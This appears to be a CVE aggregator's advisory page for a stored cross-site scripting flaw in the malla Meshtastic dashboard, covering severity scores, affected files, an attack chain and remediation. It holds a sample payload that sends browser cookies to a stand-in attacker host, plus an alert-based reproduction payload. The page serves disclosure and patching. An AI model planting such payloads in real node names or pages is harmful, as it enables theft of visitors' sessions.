Skip to main content

malla CVE-2026-43980

| EUVDEUVD-2026-64171 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-06-03 https://github.com/zenitraM/malla GHSA-ch57-39q2-4crm PYSEC-2026-2618
6.3
CVSS 3.1 · Vendor: https://github.com/zenitraM/malla
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Publish NODEINFO_APP packet with XSS payload to public MQTT broker
  2. Delivery
    malla-capture ingests and stores unsanitized node name in SQLite
  3. Exploit
    Victim opens affected dashboard page (map, traceroute, packet detail, or relay analysis)
  4. Execution
    Browser interpolates raw stored string into DOM
  5. Impact
    Arbitrary JavaScript executes in victim browser with no CSP constraints

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The attacker must be able to publish NODEINFO_APP MQTT packets to the same broker that the malla-capture process is subscribed to - this condition is trivially met against any public Meshtastic MQTT broker (e.g., mqtt.meshtastic.org). A victim must subsequently open one of the four affected dashboard pages in their browser (UI:R). CVSS PR:N confirms no authentication is required to publish the malicious packet. Exploitation is blocked in deployments where malla-capture connects exclusively to a private, access-controlled MQTT broker that the attacker cannot reach. The stored nature of the XSS means the attacker does not need to be online when the victim visits the page - a single publish event can affect all future visitors until the record is removed.

Impact

CVSS 6.3 (Medium) with vector AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L. The network attack vector and absence of privilege requirements (PR:N) make injecting the payload trivial for anyone able to publish to a shared MQTT broker, but the stored-XSS model requires a victim to load a dashboard page (UI:R), which is the primary limiting factor on real-world blast radius. No EPSS score was provided in the intelligence data - exploitation probability cannot be quantified. The vulnerability is not listed in CISA KEV, so active exploitation is not confirmed. However, the absence of any CSP in the application significantly amplifies the impact ceiling beyond what the CVSS A:L/C:L/I:L scores suggest: once triggered, the payload can load arbitrary third-party scripts, perform phishing overlays, and cause persistent denial of service of the dashboard. The real-world risk is materially higher for operators exposing malla dashboards to untrusted users or connecting to public MQTT brokers than the moderate CVSS score alone conveys.

Exploit ScenarioDerived

An attacker with publish access to any public Meshtastic MQTT broker submits a NODEINFO_APP packet with long_name set to a payload such as <img src=x onerror=fetch('https://attacker.example/steal?c='+document.cookie)>. The malla-capture process stores this string unmodified in SQLite, and when any dashboard user subsequently loads the map, traceroute graph, packet detail, or relay node analysis page, the browser renders the stored payload as live HTML and executes the attacker's JavaScript with no CSP to block outbound requests.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 03, 2026

Stored XSS in the malla Meshtastic dashboard (pip/malla <= 0.1.7) allows any unauthenticated participant on a public MQTT broker to execute arbitrary JavaScript in the browser of every dashboard visitor. Meshtastic node names (long_name, short_name) received via MQTT are stored in SQLite without sanitization and interpolated directly into multiple HTML templates and frontend JavaScript files without output escaping. No CSP restrictions are in place, compounding impact. No public exploit identified at time of analysis, though full reproduction steps are published in GHSA-ch57-39q2-4crm.

RemediationAI

An upstream fix is available via commit 4086e2b5f61615a813b70b25bc76095083552135 (https://github.com/zenitraM/malla/commit/4086e2b5f61615a813b70b25bc76095083552135), which replaces HTML string concatenation with DOM API methods and introduces safeUrl/safePath helpers across the affected frontend files. However, the advisory records 'fixed in: None' for a released PyPI package version - a patched pip release has not been confirmed independently, meaning operators must apply the commit manually or build from patched source. As a compensating control, restrict access to the malla dashboard to trusted internal network segments or authenticated users only, since the attack requires a victim to browse the dashboard. Implementing a Content Security Policy (CSP) header that restricts script execution to known origins would substantially reduce impact if patching is delayed - the advisory explicitly notes no CSP is currently present, which is what enables arbitrary third-party script injection. Restricting which MQTT brokers malla-capture connects to (private, controlled brokers rather than public ones) prevents an external attacker from ever injecting a malicious node name into the database.

Affected VersionsENISA

malla < 4086e2b5f61615a813b70b25bc76095083552135

Affected Packages

pypi malla no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

malla is a Python pip package (pkg:pip/malla) that captures and visualizes Meshtastic LoRa mesh network traffic ingested from MQTT brokers and stored in SQLite. The root cause is CWE-79 (Stored Cross-Site Scripting): node identity fields from NODEINFO_APP MQTT packets are persisted to the database without sanitization and later interpolated into HTML output via string concatenation - bypassing all output encoding. The commit diff (4086e2b5f61615a813b70b25bc76095083552135) confirms the vulnerable pattern: functions like esc() were used inconsistently and string-built HTML (e.g., innerHTML-style concatenation with raw node names) existed across four locations - src/malla/templates/traceroute_graph.html (~line 832), src/malla/templates/map.html (~lines 945, 1078), src/malla/templates/packet_detail.html (~lines 1402, 1452), and src/malla/static/js/relay_node_analysis.js (~line 124). The fix migrates to DOM API methods (textNode, el()) and introduces safeUrl/safePath helpers that inherently prevent XSS by construction.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/zenitraM/malla) PRIMARY 6.3 MEDIUM
AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:L

Primary rating from Vendor (https://github.com/zenitraM/malla) · only source for this CVE.

CVSS VectorVendor: https://github.com/zenitraM/malla

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

DescriptionCVE.org

Node names (long_name, short_name) received via MQTT are stored in SQLite without sanitization and rendered into the DOM without escaping. Any participant on a public Meshtastic MQTT broker can set a malicious node name that executes JavaScript in the browser of every Malla dashboard visitor.

Affected files:

  • src/malla/templates/traceroute_graph.html (line ~832)
  • src/malla/templates/map.html (lines ~945, 1078)
  • src/malla/templates/packet_detail.html (lines ~1402, 1452)
  • src/malla/static/js/relay_node_analysis.js (line ~124)

Steps to reproduce

  1. Publish a Meshtastic NODEINFO_APP packet to any public MQTT broker with long_name set to a HTML entity i.e <img src=x onerror=alert(1)>
  2. Wait for malla-capture to store it
  3. Open the dashboard

Impact

Allows unauthenticated remote attackers to execute arbitrary JavaScript in the browser, such as:

  • Phishing overlays
  • Force redirect to malicious websites
  • Injection of arbitrary third-party scripts (no CSP restrictions)
  • Browser resource abuse
  • Persistent dashboard denial of service

Threat Intelligence Overview

EPSS Score
0.2%
Top 61% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Denial of Service attacks render applications or systems unavailable by overwhelming resources or triggering failure conditions.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy